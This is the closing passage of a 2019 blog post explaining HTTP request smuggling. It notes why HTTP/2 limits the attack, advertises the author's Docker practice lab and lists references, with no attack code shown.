for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.\nThen I went to check the differences between HTTP/2 and HTTP/1.1. In my opinion, I think that Request multiplexing over a single TCP connection is mainly added to HTTP/2, which means that using HTTP/2 can use a single TCP connection to request resources. This reduces the possibility of TCP connection reuse, even if you can smuggle, you can only hit yourself and the introduction of a new binary framing mechanism also limits this attack. And more imporantly, Transfer-Encoding: chunk is canceled in HTTP/2. :P\nFor details, please refer to the introduction of HTTP / 2\nBonus After this period of study and research, I have also organized some related experiments into a docker environment, which is convenient for everyone to reproduce learning：HTTP-Smuggling-Lab\nNow the environment is not much. If you think the lab is useful, plz give me a star. I will continue to add more environments later to facilitate everyone to understand and learn this attack tech. if I have enough time\nIf you think this post helps you, you could buy me a coffee to support my writing.\nReferences RFC7230\nHTTP Desync Attacks: Request Smuggling Reborn\nHTTP request smuggling\nregilero\u0026rsquo;s blog\nProtocol Layer Attack - HTTP Request Smuggling\nhttp request smuggling, cause by obfuscating TE header\nMultiple HTTP Smuggling reports\nHTTP/2: the difference between HTTP/1.1, benefits and how to use it\n","date":"2019-12-08T17:09:00Z","permalink":"/en/p/help-you-understand-http-smuggling-in-one-article/","title":"Help you understand HTTP Smuggling in one article"}]